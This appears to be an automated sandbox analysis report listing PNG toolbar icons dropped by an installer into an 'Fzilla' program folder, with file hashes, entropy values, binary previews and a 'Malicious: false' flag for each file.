SHA-512:	926A92E50E1F6C4948094DED4492B13585DC3F49F2274B871FD61E21AD4456F27AA0BCA72ED4D1D3D67DD307AA60FD137F63F41C99BCA873BB95E8280E8BD8D1
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx...=..i......wfgg.[.#.....K..\.Q($BD!Q)..Q.....N..(..h% [..... .H..1..7;..R2.........c....m...q.AwM.l.W.m........KP...Caw.}.../... ...Vjt}]...n.....'C..Q...B.98......q...).-...Y....l~6.../{.\|.o+.jE........C.....0/..pj......@XH..\O.PR..P..7dH..a0/..t..D%.P.Q.%./..h.u.T@.*..`.L.....7.U.E...g..3..h.Q....6..!...V.)..Y/.u.......:.W@..d....3...[.../A\......SVQU.....z..Z ..0lT._.....o.c.E7TA..z.IM}.%]..c~.\.D.\.7....!7+8..."@O.AS....f.LO...@>..X$.>z$.A.G.Q.D..0>..!.AI...R.....A..z...."3E....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	268
Entropy (8bit):	6.71744573347677
Encrypted:	false
SSDEEP:	6:6v/lhPZ6+coh6aOXh8BdbxSf5ByR+gFeLrwqpopdTTp:6v/7Q+fh6BR8bbO5IRKLbpIdT9
MD5:	BA74EF478B761BD4B154DEFFDF9265C6
SHA1:	61BCFE964028E73BE90FF3A8C8581E21672CA6F9
SHA-256:	CDF55174EE7CB1AC6AB4F005B5FFCAB5F7A02CAAF1B12DBB1F6480FC70380644
SHA-512:	2EEE1FA9663970F24E4C461EAF62B0BA64E85292498D61633C151F45856426FD16BAAF7EDAE296317E27727988F9CFD9D241945FE158C736F626E0E5481FC588
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.c.A`....Z.q......TL../+-M...w..!..@....A..@.....0u.N..........A-h..%A-x.f.. ^...Z.....,..Y........-@.R.Y..sig..?....X.....>......1#....4.j.k .'%.MC*fA......._.b.R... ...I@...3..Q@.........Q0...A8vA]h.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	731
Entropy (8bit):	7.638960413963767
Encrypted:	false
SSDEEP:	12:6v/7ohMCUkTXgl6l6iGS96bXKvIDUNqPB2/F3TKsG3wMQXhqt84+DXBIA/0R1:Ny17le6bXYIDUuw9TKsDMQxE+DOw0R1
MD5:	41CCDFDA66425EF91E665ECF9612D032
SHA1:	FA2E2B75C9DA1EDEE08F64FDDC040568ADFDCCF8
SHA-256:	C42D3E5C5D35BE83C587D86F81826A75D8A3CEAC1A874917A710F0A2331EC739
SHA-512:	C928446AA740CEC622C675EF92C78087511C189AB0CF2D5BE914BF7E668D5C5203B845E927EDDF7E3AD2D055DABBCB1EA98301F16F5EBC32FD140BEF58DEEDA8
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.....4..N9.w.Q.x...+TQ....m....m.q.u&k3.$...=.g.H(..X.w...../.{.g......8.q..Q..T8&....9.kNj..m.w..S.m..;z...!R...7.........wDEE....?...}4<<..;w..n.._..<y.E..l......aaa[.V....<../i................o9}.4.zE.y...fN}LLL.......tJKK)...........M...(,.o...R__OII...]QC"""^/i...7.?....J{.XM$''....\|I........&.qs.w.;9......h........C.m..4IJJ"88......x....I?."./.F.CJ.'..C#.#..........W..p&.+....-. .....J.?.f....6...J...#...P..O.4....j)h..o..C^..;a00l...h2d...Q.w..w.(...?D.....^w..R....0n..^&.i.O..7.....Kbp%.~...b.....4L.@.....[.Q.......[.......%..0..89.`Y.N...;zU...Ocf.5..Y.$....i.f&.......me.=K......K.....O..9.h./i ...<z..X.".J4~.h-.....L.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.7428764520223545
Encrypted:	false
SSDEEP:	24:1OaBirN8h2jqPlz6YoqFxmBXl5G1icmLKXlgfUcQc:1oeF6YzFxmBXlk1KLMCfDQc
MD5:	FBE889615E9FFE0AC59730EB58C4E71E
SHA1:	ED2526C2F5BD2586DABE647DB0FC4F2AA42F04A7
SHA-256:	5CCA96991B2255836750A64F4C0011EB5891C2188E9B3D031B03F2ED5567E4B9
SHA-512:	2096DC78A5A71B78D77D3F4C7A0006688FE516B285B272724E6D8D8D8C2E1497D8D21730AE759715ECDAD74F5C8425DFE1F894B5F79DD522E05998F6C3CE2FCB
Malicious:	false
Preview:	.PNG........IHDR..............w=....\|IDATx.b ...9gRY.8.....K.{.....{..(........=...6O.m.k...g.x3..m..T.....b....}R...T$....@.$.N......../.....%.9.r.p.e8..-6....e....s.....^...o.X....W..o2C.....`a.0R.L..3MCoap.Z.o.H/_..?OAF>._2....Gf.$&iF.:<.;..sC..A..ab.....Y.t..^...L.o.L.~.Bz...../+..v.....^.\.].>..........J.}....qm`...q.m....H....g.@..qo.rQG.o.w.z=......z'....&..~b`.kq...f......jh.v...D..7.....9..hfm..L.........G:..9`2x`.(X....H....I..f....Y....SH.p9.......[)(54...4[..`T............f.H...5pwG1......".8......e....E.D.v...9.>......\.:..............I...!.jF$....A0.l.\$._5....NI....f!.....L<...;...S.! #..x....nI(c....`/...0..3.CX.....!.. ..5.v".,#.Z ....+.}......\|..X4.d..d..bG7X.........d.$..VI..v#......._......D[.p......F..E..d...n8...B.z@F. =A..#3@r.H..........t...auy.r....t:...LR.toz.../}..7....w...\|/$Q...v. `jj.<..........r..rabh.....'F....i]...8..~.Q....y_.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	403
Entropy (8bit):	7.2590588527215765
Encrypted:	false
SSDEEP:	6:6v/lhPZLqIktIjTEVXON2hIVjHhh1zM339Zm7FVHTPv5XcusTFoL7tYaZk/s+U8u:6v/79qSk82gBh1Ym5VLPs6RZEs++v
MD5:	57127617C13FCC955B4C204C6C413763
SHA1:	C764CE3F61E62C2F1A619DB1BCCAC1EC869EA711
SHA-256:	F3B5AFA03C7EDC495284DF9E7CDFCE7D0845DAE64B88CBB0578BE9A286C97ADE
SHA-512:	3892E9D3B43169150BFF6E2A9DA54C44A944805586EC36BDFB9433287DE5DF4C601398E1ED1028034F55F7C943795F55F3B62AD5886666AF49111B46388189C5
Malicious:	false
Preview:	.PNG........IHDR..............w=....ZIDATx.b....9gR....3`]a.....T..T.Kmk..u.m.......;.<.7.......s....8..f...`.:7U ..3.._.nd`S..&x...#.2\....G.3;..^!". .T..!x.!...........g.%2.N....y.V5<.+..Y.?.I.}o....J.0.&p..f.......b!.t....M....?.^.....P.00.....w..m.\|e.L`.M`)......ss..l.....j...5..G>k.w.t.CY.[...<.....b.........2..gi.....[52.9...'p..q.A........a{..Ub.1...z...r...<..E.[.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	736
Entropy (8bit):	7.553489674646903
Encrypted:	false
SSDEEP:	12:6v/73eWx2g7/H3y+KSIBFCARZgowcWu01ZAyaLUqLbnOGwSmGvXc:+mg7fxK5CATucWjZAyaL17HwShPc
MD5:	301131E41538586B6B50B63C3F8C2B99
SHA1:	F79F1AA6B45EBDA70674C9BAF3A81AFF873AA3D9
SHA-256:	BDF75435E4642BA4CA958269ED9DD163F4DE4B5F09D04B667B6B090E329FF450
SHA-512:	6C6B9E22A1EF5B69B8FF835C91308FE1ACA0E6B4089F9F2D382E158D810201946BB5D1D9EA63850AE489AB788C1061A23A4BCBA38073EAB3CC6A73657C28BF71
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.....4..J9..r.at..j.5.:.....Am>..m.mstV..}.z'k<.....?...k....pF.........c......\xS.......y.]..V,.g.+..........{3.:R..jR6n..m..K.LII....7--.QRR.HMM}....m[.la...J....B.Y.~.........u.....LGRR.C2^..`.."""..........7. ]......_p..y.{.B.}/..R.^..8]PP@]].555....Fgg.z^[[K{{;......9+222HLL..U...>-a.........]...9.....a..b.q.,K...KLL.b.z...`..@..l..,..l.i.K.4..`.Eb.........0f0.9,.V..9>J..:........{...i(..J.......`...6....&...).Ca.....P..H.....z.....`~...A;2.M....A..!.......V...yh\|..a.....1...n.`..O.74GSE.2....(}PA.=P.(0JB="..}h....R]D^."]$.q......}.{?..T.s...b[s(.....yb..=.9K.EM....^0M...s.z.[a....T....srr...^6..!.I^...Q..J-...?'..j...0...h.4........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	653
Entropy (8bit):	7.600912591819238
Encrypted:	false
SSDEEP:	12:6v/7mIe1yFFaE76+DbFATu1i7KeYcZNNip+scrpdnSh/wRodc:iYyWG6+iS1i7VYcU+poh/Coc
MD5:	6C56C7AC973D6B891BD3CAAC98ACAA42
SHA1:	B2CD1D5C2A7490E0A62595CA846D9548467FB892
SHA-256:	AF68A95DA06062BB8DAC3C6CCED5E9E1FBF161DD61E19A8B624A6131A6DE0427
SHA-512:	F8248A3FA865293CEF9881F751FF116EA0A3053C577771A1BBC5B1072F00FAAC4E0E9990EF418A8D658BEA3E0493789A128915B67C666211F0D512E2525A2F48
Malicious:	false
Preview:	.PNG........IHDR..............w=....TIDATx.....A...Fm....66.m...x..)^.OP\|.3.fP\....53...U.7p...Bt....".9.v..!;UP.L..]!.* Pj}W.jQ..CyS...5..VMsc...W......'y...`.Y.S.`6..U...x.q.c....'.S..8WT.r..r......{YTH}ht......G2.t..r[N^..7q.J!..,.....^..3..h.=@.(.j.]..D.....74:.....;..Pk.5....&.4:-...(...y.`....@..o..s........C .SR.....+R..<..-Bi.......u"....!...xb..X.....l2..I..N.H.,.=....%8.6..'....d.X]]..\|).Nctt.z.....G......eYtvv.....6....X,.D"A...h.....F..$}m.X(../....D<.{w.X..wR,.>~......"..s.........P..../.4.`.:Oe.x.1..F1=3...a...Q.#...s....0..Y.^\|y...=M.X.+,.D*.....YY.......wU$....Ne....D..H..}..8i.o.._.......3.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	7.762181302500522
Encrypted:	false
SSDEEP:	24:AdiO8bYpLAACDndAxbcwKLaQiwg/jN9Cw/br:AUTYpLAASSQwao9/jrRbr
MD5:	9680A5B4290104352D298903725A8325
SHA1:	4D1F67C7AC4399516540003FC1ED4AA5CC666EF4
SHA-256:	68A742F83F04F8481DC6B91C1422E866DC5AFB62B1EC50E299F03E3CECF94C74
SHA-512:	31880D4396AE29321BBC42EF67D411257FA685842A118E646F298C90C189577E6FA2425CEA50FC4A891A74AF75FC658D3E073F24C8732E4BA02B360EA27E02E9
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx..[h.U...sfggfw..v7.6MLw...Z........(P., >...H.../..DP.[.......jkS...BhmR.tw.Mw...\...J.&J.P....y....\.....2..}.3.8...+.Po.t..2.C.e.o..S....@)Z.+.6x....\.t.u.0X...0pQB.A... ......VeP..00zy.f.C.$,..>....x.O>%..Hn8...f.#'.b$u,.DJ....\|...'I;=......6v.......96J]..O.}u....?....RH....$.vE..DE!^..n...d.R.4L..,.;..........hY.J.).$m......)b.v....E...G}.A..i4fX.......[..]..L....t.....t0:6.i.,%m.,.\&.......f<.G.....l.LG.."B.e.....eR).z.R.6te..dl.gE...7.L3.a..M.R.%wv...{^..5.g:...`.:YX.'R.0..u.\|>O....] .......VR.5@}[..?..kh.73..B..B...IJ[.@.......b`.f.u.HH.M.]........>FE~...=....x...R.1..QLg...'..>Me.{...x. @..b.......4..&.D...a..i.....pq/.\|?.3J.is.<h..a.Tj3(@.2.A>6.s....v.R.F.....Q....>._....mx.....~e....E.>.i$....{..bx.7\..2M..Z.D.q2..d..C.......J...'...aK....&z1....9}...V.T..6.!.....L...,.-..E...RB.....e.S....FR......"...4L.B.![7..:....z..Q..R>544tr....1P.i..>..c0.........D..I!..j.8..mSo\ko8...q@..R.GV.mt...

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	461
Entropy (8bit):	7.3403357557975255
Encrypted:	false
SSDEEP:	12:6v/7/+XeVhrA6NWINuy80CWlOitfzd5sgxVo:++O3cQ9F7rJvo
MD5:	4F7017135A468DEC89C9B0CCFE49A993
SHA1:	F56480F6561D1991CED6085E69F6683B4BA628BC
SHA-256:	3901DC8F16DE446345BF86B850D467FEC9B0DCCEA282ED2C4D45B48201C59E02
SHA-512:	D47D97E76F5B65492698C4F8F00AFE8C2179E84BC5B8B71E5C5E239BE58ADB375CA33CB49B911621C735F28B0A32DA6B3C705BCB2B4D475640C4F63DB2ED6877
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx...l.A.@.....m.]...mP.fT.mM..lmN.~\|.yo.9.cfgvX.~.....v...k.<F..V..r.s...c.O>~..#~....@..r.u.m0.3T.b...r1g.a.Z.,...w....7."O.O..w..)..R..A...Pp..d.:.4.@@.r[I'....N1...7/........#. ...N..'.J..-.X..6..8...\|c......:.v{".,.+PB.,..>....."<L.IH8.....].. ....&.@..>.......^&..........'..S.P......J.....B.o=.}.o......]..cKQ.D...V:.I.>...7.j"p.#G........[......f*..qDB.....#..O.......z..n..'....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	525
Entropy (8bit):	7.471136473005463
Encrypted:	false
SSDEEP:	12:6v/74V47VjICo/Wr2tNI8OiDcfk1SdLAPKV/S6Ghfn3zh:B47VECo/WitNOiWk1S9FVq5
MD5:	434F517BA9651744F02E323FB532F756
SHA1:	C655874E19932B781062D05C61CD4E786817D5A8
SHA-256:	82759E6A82FE1E82BDD3722CD74A1F7ACD470061DB2AB53359A18598C0CAC5BE
SHA-512:	9C381CF53018525BCB17763F6D278D8A8FB804FA07F81A69C17B0DAE1FE694A18C68B8C5F6C47E22899E38C0B732790FC37416D950D5CA3981FF829CBA2DE5E0
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx......M.E..Gm.m.m.m.m...[#.\|aO.w........F.9+.K...... .. e..h&H.o...s...b`. ..[..4...v.k#N.g..j.].2.2..h..F....u.........c. V.]f..&....{{.S..w.&..5.k.`..uN_...l.~.......1n..FL.]e6....!.......b>&.A..o.M.Sm\|....14..3.4....I.8...Z6sM.j..g..\|...p4B.kk.Y..{.`,.;zx..1/"..$.q.t..w..N...h...+...HX.?..t.....V..:x.....:..5.....gB`.X..x.2...`.....Z....>.2...jJ4.d....F..K=....zh..i.G:\|. u.n...i94..?..2.\.!.....c....?F...N^.2@\|..j......i.......~L.>.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	273
Entropy (8bit):	6.663022393752252
Encrypted:	false
SSDEEP:	6:6v/lhPZc5/9sR1AAU7YrQOctJllIe8s91szQcKoktWu/EEbp:6v/76sYMPc/P0K/v7
MD5:	E4C0B2CC3A3630B0D69125D7C4146D55
SHA1:	D2670AAD72F8678EE070D3C6CF5490A97597ABB2
SHA-256:	6596427F5CD726826E803FF104D4083FBDAB8309CF8A8820536EE3851DF8DCDC
SHA-512:	AE1E82963D117E731A8FA864B40893C89E5B4F2D3875994A7B8ECE4993266CF8F2D0CBA998006EFC03AB237345F97BF89F405436A61426037A338513D9D82B55
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.c.9.f....O.bfZ....w..?.....,@\|.l8./......b..0.,.0<x6%....B.O!..]H.....H./@...&R-HD...9H..@...g...@lL./...(.]..bA ...0.......Z4....L..$..@..,P....@.....x"..1..![.x.q.....;.....@..<......I.,H..= .H..">..L.m..n...A....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.34162055469022
Encrypted:	false
SSDEEP:	12:6v/7tdmnCrkEVzCO9lEFGWqecq4tnSOptWN9Kq:sonh8zF9S03sOq
MD5:	738A1CC5FB4CA61551C50378F8F300CA
SHA1:	E4F221318D0B45EA17296E70F436B78D847EFAAA
SHA-256:	38B7CDC9E1C5F771708DBD05DC49B83C852432373DDF663C4A4F68493BA7439E
SHA-512:	E43023739BC140B40FF5FCF91821F88B13D74CB7CA58B9AF1079EF53216F5547816ACEC3084E6658DE296ED06E011191172C852EA5F031AA7CCA114E9054AD0C
Malicious:	false
Preview:	.PNG........IHDR..............w=....}IDATx...C.\......el.m.ms..mk.;....m.}.....[..[t.EY.z..c........."..S...B7-..B_S...Bg......@....M.K..6...68.@..;......%f!...\|.wxf..k..N]...........<..[....m..b3p$Q..Q(A.j\|`60...l.]...W..kU.3.G.......,"............S.g.yQc..Wx..U..B...Oi........e...]~LE...k..j....Vx..:.(3.Y\|\|..1...r......~.....$0.^..zL..\|...{zL;...HE.L-......!X`...!..C...Z..a(0.>.e.]...J.%...K.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	7.728629961336813
Encrypted:	false
SSDEEP:	24:547IUU7CqNnGa8tW/DCbBWInq/Nv3S8lDNgbIfHU1wIDH+Cg:5kqNGa8tAWg5S8JLHieCg
MD5:	AFCA2ECBF5BADA1EB0233288A1B4E8BD
SHA1:	4486FD1B95626E82A14A44D4AD17374C71908FE9
SHA-256:	4B8BA4D9F9CEA5AE61E705FE45DFE476AB8BB01C842325B7161A02CE29D401D3
SHA-512:	9DD113EDCC28FCD0793AAFF2078384A83002FBCCF5AC31417FE25AEE1CD6102EA1139D3827C7B992DDF4092368F0A60B3B149DB8FC4EA104650B11D4884893CD
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...C.dI...m.m...m=.1Vc.l.f.j.Z.m..X.nUO\|_.+.'.L...h.!....P..".Y..z.O6......%.....@...6.g2.8F...r... ...yyy(//GQQQ.]VV...h(.J...$....V.a..P\\._.......[..ZY....v..YYY(,,D]].jkkQSS....D...?br..d.... ;;.,mCC...t.l.. 33.Y ....................kd..U...e...N.bcc....H...-n...e......V..PR...........zq..u..y....322PRR.a..F.4&&.IIIHNNFzz:...X...J....@4....v...D........p..].t:..DO......d(9Y..B./..o.N..[...O...\|..u(...S.5k.xG...{.....J......'N..t.<.=....oC..l6.b..B........<.1(...?..A....?.w-\|..MPw........h.6i.$<.....k." ...._.c.........N'......B...',,.....(--.......r..d`...@...<..........<......./]........i...{y."\|l.....c.a.....Q.F..BP6)..?..A'.D..w..?....O..........=.T+A..).._?p...z........>\|..\|.....QQQ....3....q7b...\..5.Z..>..cp.q.......pR.K..a..Pk.p.].m&^..<...C.}y..[v/x......AN.>...9...{..!CD6Z....1]...V....e!+_.}zB..5.KCV.(............k..........{:22....\|f...3 .o....Gp.h...... --...ir.......e

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1479
Entropy (8bit):	7.821774226336037
Encrypted:	false
SSDEEP:	24:p2orQtPB43obzrejZQIlD7LJ3O07j9KqbKKOv/wg2/P2ZWaXeIllqQ7AF8hjvZhf:p2wQtXe53O+9grJ2/fPQ8F8nhKxJkn
MD5:	2A8B9ACC913021EDDFBDC2BB8C3B62A0
SHA1:	651DAECC36A6AB7ABD04DFE32C4BD05A5FE3BF93
SHA-256:	DA884EB12ECC8C7A4E1E1DE0896BB2C017E991EB675325AE5EC147D7AA20C975
SHA-512:	4A17EEE392C2096FF93BE3B076C44982FFFDE7491DCB415DF99E7EBE3083ACE7E21BE489BC439515E52C53D28BEDC339461066DC5F06FFDC6D330328550B3108
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....+].......V.k.w..m..el.y.q..c....V..j.]....wu.t....%.[.....T..c..W+hll..........7.._]]..W....+.f]]..........az{{....^..g.$p...&''..N.u+H%.7nZ@......e<..q.l.^..D".\@...FGGI&.d2.-aY........M.HsF"......c.:...>.)..}4.%....\.]!..p7,`^.).)\Z!...cA..(.,..z..w.+...\|mm..%T$..o.....I.R~W.E.h....&..."*../p....a..$.$......\N$.@^...4<..p.=.......LM.316....ccc...J...368.3.L..p\mc..a.(.b.pW.X..pe...iU...'.S!B.....lH.\H.5.9...t.....9..(x6..D..-........px.1I\|~X.Ll^..Oc(..:.........@.....r..p.....i...<.{......T.N. ...T:C.4..fr.......g<...M.'..(.W..;.....w..!.Px)..G.}...0.....F4].i.z..y+<.%.....t..upC.G8ik!...=Jb....M...0.$......R...,G'L..@....>.T.-...2.....' SQ.#.D.....I@a.'o..r1R._.r.........y...@pr.M...y..{;...L...O......DGE.2.\G....q_`K.04grC..w..vy..Mf....~x..H.4....{..)OBo....4........o....y....y&fM.....).3...sx..9...........mP...n..]L..Y.O.e....(.uh.%..+..>.{z.8.01#.%...:........w.@m}.).. +...W(.%.8.0t.I3...H

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1237
Entropy (8bit):	7.69171762371757
Encrypted:	false
SSDEEP:	24:sEFz6QoBXyMbmF0NPL/hpEt3v/S96qXV6rDHDzrlJVi8goX:t96lBXFmIbhat3v/S9LgPhbiVY
MD5:	96A2AB487D235858753561E2096C8746
SHA1:	A0F311EE3C53B034978B7C300A1823073134CAB9
SHA-256:	7FEA394F048495CF8AF39CB8E4755BDD809B83396E3120914CB528B51A2925D8
SHA-512:	5C4D91A97D112521E4B15FEDBBF5B3B1990085506203343F6A8715302280BD33E67CF126EA0B428157B431BA70EA283611C3EFEBBA93A909F0C0499FBD2ABD9B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b...{....<`c....c....;.\..?..m.Y.m......9..%.......3h...K....L&..t:R..R.d..`..4.W.....z...'777rqq.......f..A..B.....g...!.....#GGGD...O....?...........N.eee......].....H............e..:..Z..999...@.......6O6@rr2%%%QQQ.....6D.@JJ......:..A(dt.7..xg...W..,11....."............0.Cvvv...;.......E...g..j..A.0...&.....\|DFFRDD......3i4...U...u.b......+Waa!..v...ENNN......h.e.......1.9....7n......\|EGG....Ba.........%..._....;...i.Aaaa...?..5....1.......Z.b...W.^.w..6u.T....E.#G.........R..(&&Ft...KPpp.x... \|..._~.E..!0..j.<.._3g-[.d5.a..h.]....A.5....j.......>}.$.....Y.~.(??.5.l......[.....k.....#d.\.z.9.8p ZL.x#G.d..;..^........;.....'. .......C...........~..W.g.y...p.m%......x..Z...}..f.9H.R...EX.~...A...b.c. %.HKK#...&......s....^.j...baa..a.&Mh....kW...y.p..K......:t...Z.&w;.3U.....[._~.\|..`p...\|.;.H.&M.L.q...{8/H.f....gO....;.{r"..5M...5...=#...3..A.w.@z..19..$G2\|p .*...a....$_K..F7j.>0..8..G...4d...

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	432
Entropy (8bit):	7.22488705000766
Encrypted:	false
SSDEEP:	12:6v/7ig8yrgCb60gl+QkwHv1N8GVv+5uHIqrHHMAm:Oh600Okv1NvVI0Mp
MD5:	B4AAFD8D37E7829359F93D87A5943790
SHA1:	3B94D7B56A6E8348EE7CA04A5806B58F371D4EFD
SHA-256:	25D72CC3F67CEAE3E4761CF157333B3A856323C3869CCE90F6C19F0C5C65CB19
SHA-512:	D3DB2EC779BD8B552D3CD6EE30BE762C4D83C081DBB0373B2B0ECF64C4DAE7A1F55EF3DD714A35585A2F2EBDB8A432B6C90FE7F88FB89875A3DD12092E1EEDCB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....wIDATx.b ...Q. ..T.....?.l+.6....moi..8?......uW..\|.c.)..g.._0....k-.>M?....,.<Z..s......N. &..Z..k"D.<@.<X...x7.0i.Fo.z.....o..... ...........]_.6.6.....;(\.._.....:..f.W..M.A...Wi..>@..X..P.....C.l.5j.t...!nP..r..+...U.&..5..K-x7j.......wJ.r.q..S.S......u.....?.._3...4...s$e..*..>........s`."m.....@..v....Q.....v@<...@,.K.]..J9H[q........`'....ck...F.(...l..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	858
Entropy (8bit):	7.712683125490113
Encrypted:	false
SSDEEP:	24:eXyfaaVJigfIv1jR9xYqMP5AEDprlpsZHHewJ5:KaVJivjRTMP5/rlqZn75
MD5:	53A60FFF53A63577F011C5BA43C92D5E
SHA1:	F9869D533F81E605DF33F1093BC4FD915F5B4EAB
SHA-256:	91F02970471A42264D0C1BF9854FE48C5A3BF0DD787213F211ECB685ACC091EF
SHA-512:	6EFA863D27B55AB17C46342BE17D42947A8C8577526D32C2929F8268A2779A68E9186DE4456C4876135BF012FBCEE3E553CC75FB9CFAB9ACB38D6D066E35790D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....!IDATx....uG...7.m.u.....Q...m.mP....l...kg.N...N..3k..?.1.VI.#...b..'?..h..F...%%...N<.a0E.#.. .fHu8.;..#2Q...&..:.w..3........}..+.....1.....)....qh>...Xm."..9..+......%M.....6.k(\.`S..O.......{.x^...=r..0.....Pp.y.. 9f9.WX?.x9......$$D .c.......,5...h/.b.............\...W....!H....&\|h>..?...2.....}>H........4p.....].o...Y.A1..@..N9.S._.s....O...z.W$M......j.}w^<+....!..\|.C/>$.....0M.+.6.\w.$W..x.r..../.......`..H...........?\e9RK...G..9G..3Ua..5.Z\|.D..TO#..N8......Fq.L.?..4.< .....~.........D...K.(n.f^\b....S.\|.>...fx.be........Ju....3..8kB.....Ca..&.v.J..6..C...+t.t]t...1.....8.....}.61..+...[...b-S...6b#.t.....0...5....Em,.`..#^q.x..7.-.S.h.....]..b.V2].!.^2..9J....:....Se...8..P..D.L.F...3.kCb.H..l..F./l..7...4..'o........yi.^'.*.....w..+.K!Z"....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.7114842030576245
Encrypted:	false
SSDEEP:	24:8DWzUWSGzofDOCHiCLaJRnca2ZYn8EIzNz:xPh+nrLaJRhf6z
MD5:	5974610B7E07C4AD482DCE665C396D33
SHA1:	69B97DE36EA06DAB7C6F7E88AB83E05D8CA20E85
SHA-256:	AFB397DB5228C74E78B2C98882716C666CD4E9C1B5678242DE47B0890ABFCE27
SHA-512:	4164707CD893054C6AE00C85A39F1D284211436EFF070F24DCDBC179AF172956EA0DC03ED86C63179AB114DD5EE82E0FBFCDD22E0A9DC0A05CE2F5CC982B897A
Malicious:	false
